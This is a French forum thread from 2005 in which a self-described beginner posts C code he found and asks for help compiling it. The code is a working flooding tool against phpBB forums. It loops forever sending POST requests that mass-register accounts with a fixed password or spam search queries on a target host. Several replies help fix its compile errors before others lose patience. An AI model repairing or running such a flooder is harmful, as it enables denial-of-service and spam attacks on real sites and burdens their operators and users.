Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1061 connectés 

  FORUM HardWare.fr
  Programmation
  C

  Programme en C avec erreurs

 


 Mot :   Pseudo :  
 
 Page :   1  2
Page Précédente
Auteur Sujet :

Programme en C avec erreurs

n°1133288
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 10:48:08  profilanswer
 

Bonjour à tous.
 
J'ai récemment trouvé un programme codé en C, mais contenant quelques erreurs. J'ai déjà corrigé quelques-unes d'entre elles, mais il en reste que je n'arrive pas à corriger, ce qui fait que mon compilateur refuse de compiler.
 
Voici le code source :
 

Code :
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <errno.h>
  5. #ifdef WIN32
  6. #include <winsock2.h>
  7. #pragma comment(lib, "ws2_32" )
  8. #pragma pack(1)
  9. #define WIN32_LEAN_AND_MEAN
  10. #else
  11. #include <unistd.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <netinet/in.h>
  15. #include <arpa/inet.h>
  16. #include <netdb.h>
  17. #endif
  18. #define __USE_GNU
  19. #define _XOPEN_SOURCE
  20. int Connection(char *, int);
  21. void Write_In(int , char *, char *a, char *, int);
  22. char Use(char *);
  23. int main(int argc, char *argv[])
  24. {
  25. int sock, x = 0;
  26. char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];
  27. puts("Ma premiere phrase" );
  28. puts("Ma seconde phrase" );
  29. puts("Ma troisieme phrase\n" );
  30. fflush(stdout);
  31. if(argc != 4) Use(argv[0]);
  32. while(1)
  33. {
  34. sock = Connection(Host,80);
  35. Write_In(sock, Path, Pro_Sea, Host, x);
  36. #ifndef WIN32
  37. shutdown(sock, SHUT_WR);
  38. close(sock);
  39. #else
  40. closesocket(sock);
  41. WSACleanup();
  42. #endif
  43. Pro_Sea = argv[2];
  44. x++;
  45. }
  46. return 0;
  47. }
  48. int Connection(char *Host, int Port)
  49. {
  50. #ifndef WIN32
  51. #define SOCKET int
  52. #else
  53. int error;
  54. WSADATA wsadata;
  55. error = WSAStartup(MAKEWORD(2, 2), &wsadata);
  56. if (error == SOCKET_ERROR)
  57. {
  58. perror("Could Not Start Up Winsock!\n" );
  59. return;
  60. }
  61. #endif
  62. SOCKET sockfd;
  63. struct sockaddr_in sin;
  64. struct in_addr *myaddr;
  65. struct hostent *h;
  66. if(Port <= 0 || Port > 65535)
  67. {
  68. puts("[-] Invalid Port Number\n" );
  69. fflush(stdout);
  70. exit(-1);
  71. }
  72. if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  73. {
  74. perror("socket() " );
  75. fflush (stdout);
  76. exit(-1);
  77. }
  78. if(isalpha(Host[0]))
  79. {
  80. if((h = gethostbyname(Host)) == NULL)
  81. {
  82. perror("gethostbyname() " );
  83. fflush (stdout);
  84. exit(-1);
  85. }
  86. }
  87. else
  88. {
  89. myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
  90. myaddr->s_addr=inet_addr(Host);
  91. if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
  92. {
  93. perror("gethostbyaddr() " );
  94. fflush (stdout);
  95. exit(-1);
  96. }
  97. }
  98. memset(&sin, 0, sizeof(sin));
  99. sin.sin_family = AF_INET;
  100. sin.sin_port = htons(Port);
  101. memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  102. if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) <
  103. 0)
  104. {
  105. perror("connect() " );
  106. exit (-1);
  107. }
  108. return sockfd;
  109. }
  110. void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
  111. {
  112. char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
  113. char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.Cool"
  114. "Gecko/20050511 Firefox/1.0.4\r\n"
  115. "Accept: */*\r\n"
  116. "Accept-Language: en-us\r\n"
  117. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  118. "Accept encoding: gzip,deflate\r\n"
  119. "Keep-Alive: 300\r\n"
  120. "Proxy-Connection: keep-alive\r\n"
  121. "Content-Type: application/x-www-form-urlencoded\r\n"
  122. "Cache-Control: no-cache\r\n"
  123. "Pragma: no-cache\r\n";
  124. char *Profile = "%40admin&new_password=elpass&"
  125. "password_confirm=elpass&icq=&aim=&msn=&yim=&website=&"
  126. "location=&occupation=&interests=&signature=&viewemail=0&"
  127. "hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1"
  128. "&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english"
  129. "&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&"
  130. "mode=register&agreed=true&coppa=0&submit=Submit\r\n";
  131. char *Search = "&search_terms=any&search_author=*&"
  132. "search_forum=-1&search_time=0&search_fields=all&"
  133. "search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&"
  134. "return_chars=200\r\n";
  135. if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1,
  136. "username=darkmaster__%d&email=NsT__%d%s", x, x, Profile);
  137. else if(strcmp("search.php", Pro_Sea) == 0)
  138. {
  139. Pro_Sea = "search.php?mode=results";
  140. sprintf(str1, "search_keywords=Hack%d%s", x, Search);
  141. }
  142. else
  143. {
  144. puts("Sorry. Try making the right choice" );
  145. exit(-1);
  146. }
  147. sprintf(str2, "POST %s%s HTTP/1.1\r\n"
  148. "Host: %s\r\n"
  149. "Referer: http://%s/rn%s"
  150. "Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0,
  151. strlen(str1), str1);
  152. write(sock, str2, strlen(str2));
  153. write(1, ".", 1);
  154. fflush(stdout);
  155. }
  156. char Use(char *program)
  157. {
  158. fprintf(stderr,"

    • Use: %s <path> <search.php or profile.php> <Host>\n",
    • program);
    • fprintf(stderr,"[*] Example: %s profile.php http://forums.phpbb-fr.comn",
    • program);
    • fflush(stdout);
    • exit(-1);
    • }

mood
Publicité
Posté le 28-06-2005 à 10:48:08  profilanswer
 

n°1133311
shikra
life is short,drink faster!!!
Posté le 28-06-2005 à 10:54:35  profilanswer
 

salut tu dois avoir un probleme je vien de le tester avec anjuta et il me le compile sans erreur!!
 
voila ce qu'il me dit quand je lance ton proramme:
 

Citation :


Ma premiere phrase
Ma seconde phrase
Ma troisieme phrase
 



Message édité par shikra le 28-06-2005 à 10:59:45

---------------
L'abus de programmation est dangereux pour la sante!!
n°1133321
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:00:54  profilanswer
 

Où puis-je télécharger Anjuta ?

n°1133330
shikra
life is short,drink faster!!!
Posté le 28-06-2005 à 11:05:33  profilanswer
 

dans systeme-> configuration-> configurer ton ordinateur-> gestion de logiciel-> installer
tu est sous linux au moins??? :??:  
 
sinon  http://sourceforge.net/project/sho [...] _id=196047


---------------
L'abus de programmation est dangereux pour la sante!!
n°1133356
Taz
bisounours-codeur
Posté le 28-06-2005 à 11:14:51  profilanswer
 

foo.c: Dans la fonction « Connection »:
foo.c:92: attention : implicit declaration of function `isalpha'
 
 
 
sinon bravo, c'est crade à souhait

n°1133368
shikra
life is short,drink faster!!!
Posté le 28-06-2005 à 11:16:42  profilanswer
 

ta une erreur Taz!!!pas moi???
comprend pas tout la!


---------------
L'abus de programmation est dangereux pour la sante!!
n°1133371
Taz
bisounours-codeur
Posté le 28-06-2005 à 11:17:17  profilanswer
 

#include <ctype.h>

n°1133372
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:17:19  profilanswer
 

ben non, je suis sous windows

n°1133373
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:18:07  profilanswer
 

Elle est où l'erreur isalpha ? Je la vois mais je sais pas comment la corriger.

n°1133382
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:22:44  profilanswer
 

Et aussi celle dans la fonction "connection"... Excusez-moi mais je débute en C

mood
Publicité
Posté le 28-06-2005 à 11:22:44  profilanswer
 

n°1133399
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:33:31  profilanswer
 

y'a quelqu'un ?

n°1133409
shikra
life is short,drink faster!!!
Posté le 28-06-2005 à 11:36:07  profilanswer
 

[citation]
#include <ctype.h>
[/citation]


---------------
L'abus de programmation est dangereux pour la sante!!
n°1133413
manatane
En vous remerciant, bonsoir
Posté le 28-06-2005 à 11:38:25  profilanswer
 

DarK-SnipeR a écrit :

y'a quelqu'un ?


<ctype.h> est ansi que tu sois sous windows ou autre c'est pareil.
Quant aux erreurs que tu ne voies pas, configure ton compilo avec les warnings à fond et tu vas les voir.

n°1133422
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:48:45  profilanswer
 

OK... Et où dois-je mettre ctype.h ? Comment corriger l'erreur isalpha et les 2 du début ?

n°1133424
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 11:50:22  profilanswer
 

OK... Et où dois-je mettre ctype.h ? Comment corriger l'erreur isalpha et les 2 du début ?

n°1133443
manatane
En vous remerciant, bonsoir
Posté le 28-06-2005 à 11:59:47  profilanswer
 

DarK-SnipeR a écrit :

OK... Et où dois-je mettre ctype.h ? Comment corriger l'erreur isalpha et les 2 du début ?


tu ajoutes un #include <ctype.h> sur la ligne qui suit le #include <errno.h> et tu recompiles :o
"les 2 du début ?" c'est çà?:

Citation :

foo.c: Dans la fonction « Connection »:
foo.c:92: attention : implicit declaration of function `isalpha'


si oui ben la réponse 1 va résoudre la question 2 [:moule_bite]

n°1133550
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 13:09:51  profilanswer
 

L'erreur isalpha est résolue ! Merci beaucoup ;)
 
Il n'en reste plus qu'une :  
 

Code :
  1. sprintf(str2, "POST %s%s HTTP/1.1\r\n"
  2. "Host: %s\r\n"
  3. "Referer: http://%s/rn%s"
  4. "Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0,
  5. strlen(str1), str1);
  6. write(sock, str2, strlen(str2));
  7. write(1, ".", 1);
  8. fflush(stdout);


 
Il me dit : "L 175 : 'write undeclared (first use this function)"

n°1133569
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 13:26:25  profilanswer
 

up

n°1133578
theshockwa​ve
I work at a firm named Koslow
Posté le 28-06-2005 à 13:37:40  profilanswer
 

#include <io.h> ?

n°1133614
Taz
bisounours-codeur
Posté le 28-06-2005 à 14:02:54  profilanswer
 

tu sais sur les sockets, on fais plutot des send

n°1133633
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 14:11:37  profilanswer
 

merci ;) je le mets où le io.h ?

n°1133641
Taz
bisounours-codeur
Posté le 28-06-2005 à 14:12:52  profilanswer
 

DTC, ça parait évident ...

n°1133661
shikra
life is short,drink faster!!!
Posté le 28-06-2005 à 14:25:40  profilanswer
 

CQFD


---------------
L'abus de programmation est dangereux pour la sante!!
n°1133778
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 15:18:46  profilanswer
 

Je suppose que c'est parmi les include du début, mais je ne sais pas trop où

n°1133783
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 15:20:31  profilanswer
 

Ca y est, je l'ai mis correctement, merci pour votre aide ;)

n°1133794
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 15:27:50  profilanswer
 

Euh... Désolé de vous harceler mais mon compilateur me donne des erreurs sans numéro de ligne et refuse de compiler :
 
http://membres.lycos.fr/bogosslandz/exploit3.gif

n°1133795
shikra
life is short,drink faster!!!
Posté le 28-06-2005 à 15:29:02  profilanswer
 

tu utilise quoi comme compilateur??


---------------
L'abus de programmation est dangereux pour la sante!!
n°1133801
theshockwa​ve
I work at a firm named Koslow
Posté le 28-06-2005 à 15:30:22  profilanswer
 

il te donne des messages : erreurs de link

n°1133806
Taz
bisounours-codeur
Posté le 28-06-2005 à 15:35:25  profilanswer
 

mets io.h à la ligne 150

n°1133829
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 16:03:36  profilanswer
 
n°1133839
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 16:15:58  profilanswer
 

sinon j'utilise Dev-C++ v. 4.9.9.2

n°1133882
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 16:44:28  profilanswer
 

up

n°1133884
theshockwa​ve
I work at a firm named Koslow
Posté le 28-06-2005 à 16:45:52  profilanswer
 

ca ne te dirait pas d'apprendre les bases du langage ? Parce que tu bloques sur des points plutôt triviaux, donc il serait bon que tu y mettes du tien

n°1133908
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 17:01:03  profilanswer
 

En fait, je cherche juste à faire marcher ce programme, je n'ai pas le projet de devenir programmeur ou un truc comme ça ^^

n°1133915
Taz
bisounours-codeur
Posté le 28-06-2005 à 17:03:06  profilanswer
 

ben alors t'es pas sur le bon forum

n°1133919
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 17:08:20  profilanswer
 

c'est un forum sur le c non ?

n°1133924
Elmoricq
Modérateur
Posté le 28-06-2005 à 17:09:31  profilanswer
 

DarK-SnipeR a écrit :

c'est un forum sur le c non ?


 
Non. Le forum se nomme "Programmation", et il y a une bonne raison à cela.

n°1133925
Taz
bisounours-codeur
Posté le 28-06-2005 à 17:09:37  profilanswer
 

c'est un forum d'entraide entre programmeurs et apprenants du C

n°1133930
DarK-Snipe​R
Jeune padawan
Posté le 28-06-2005 à 17:12:58  profilanswer
 

YESSSSS
 
En cherchant tout seul j'ai réussi à mettre l'include au bon endroit, fini les erreurs de lien. Quelle est l'erreur au niveau du write de la ligne 174 ? Et du void de la ligne 129 ?

n°1133931
Taz
bisounours-codeur
Posté le 28-06-2005 à 17:13:35  profilanswer
 

vas voir ailleurs.


Message édité par Taz le 28-06-2005 à 17:18:58
mood
Publicité
Posté le   profilanswer
 

 Page :   1  2
Page Précédente

Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  C

  Programme en C avec erreurs

 

Sujets relatifs
installation programmeURGENT !!!!!!!!!!!!!!! Lancement d'une page WEB depuis un programme
Aide pour programmeCreer un fichier dans un programme en C
[VB6] Mon programme me rend la main avant d'avoir fini...vo mieux voir le dernier msg de ce topic pour comprendre le 1er ??
estimation d'un prix pour un programmeProblème avec vb6 pour la finition d'un programme
récupérer le clsid client d'un programme avec son progidProgramme Multithreading
Plus de sujets relatifs à : Programme en C avec erreurs


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR